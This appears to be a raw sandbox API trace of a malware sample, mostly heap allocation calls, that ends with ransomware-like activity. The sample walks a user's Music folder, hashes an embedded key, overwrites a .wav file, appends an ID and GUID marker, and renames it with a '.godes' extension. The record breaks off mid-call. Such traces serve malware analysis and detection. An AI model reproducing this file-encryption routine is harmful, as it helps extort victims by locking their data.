0x331f2a0 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.078] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.078] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.079] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.079] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.080] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.080] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.081] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.081] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.082] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\") returned="nV -iFyrHbXVLVuM\\" [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c568 [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x326e0d0 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.082] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x3284968 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326e0d0 | out: hHeap=0x660000) returned 1 [0114.082] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.082] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba3f0 [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3284968 | out: hHeap=0x660000) returned 1 [0114.082] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.082] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba3f0 | out: hHeap=0x660000) returned 1 [0114.082] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.082] PathFindFileNameW (pszPath="") returned="" [0114.083] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.083] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebf2f900, ftCreationTime.dwHighDateTime=0x1d4c5c7, ftLastAccessTime.dwLowDateTime=0xee45d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d21f, ftLastWriteTime.dwLowDateTime=0xee45d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d21f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0114.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.083] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebf2f900, ftCreationTime.dwHighDateTime=0x1d4c5c7, ftLastAccessTime.dwLowDateTime=0xee45d4c0, ftLastAccessTime.dwHighDateTime=0x1d4d21f, ftLastWriteTime.dwLowDateTime=0xee45d4c0, ftLastWriteTime.dwHighDateTime=0x1d4d21f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.084] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7963b30, ftCreationTime.dwHighDateTime=0x1d4cc90, ftLastAccessTime.dwLowDateTime=0x9af9f050, ftLastAccessTime.dwHighDateTime=0x1d4d268, ftLastWriteTime.dwLowDateTime=0x9af9f050, ftLastWriteTime.dwHighDateTime=0x1d4d268, nFileSizeHigh=0x0, nFileSizeLow=0xb359, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0Qf-sRlRO YRMK9.wav", cAlternateFileName="0QF-SR~1.WAV")) returned 1 [0114.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x70) returned 0x331f2a0 [0114.084] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa6) returned 0x32064b0 [0114.084] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f2a0 | out: hHeap=0x660000) returned 1 [0114.084] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\0Qf-sRlRO YRMK9.wav") returned=".wav" [0114.084] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\0Qf-sRlRO YRMK9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\0qf-srlro yrmk9.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0114.084] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=45913) returned 1 [0114.084] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0114.086] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb333, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.086] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.087] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0114.087] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.087] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.087] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xb359, lpOverlapped=0x0) returned 1 [0114.088] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.088] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0114.088] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.088] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0114.088] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x7412f0) returned 1 [0114.089] CryptCreateHash (in: hProv=0x7412f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0114.089] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.089] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0114.089] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0114.089] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0114.089] GetLastError () returned 0x0 [0114.089] CryptDestroyHash (hHash=0x32a6888) returned 1 [0114.089] CryptReleaseContext (hProv=0x7412f0, dwFlags=0x0) returned 1 [0114.089] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0114.089] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb360) returned 0x3321120 [0114.089] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0114.089] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0114.089] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xb354, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xb354, lpOverlapped=0x0) returned 1 [0114.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.090] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xb359, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.090] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0114.090] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0114.090] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0114.090] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0114.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0114.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0114.090] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0114.090] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0114.090] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.090] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.090] CloseHandle (hObject=0x624) returned 1 [0114.091] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0114.091] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0114.091] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0114.091] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\0Qf-sRlRO YRMK9.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\0qf-srlro yrmk9.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\nV -iFyrHbXVLVuM\\0Qf-sRlRO YRMK9.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\nv -ifyrhbxvlvum\\0qf-srlro yrmk9.wav.godes")) returned 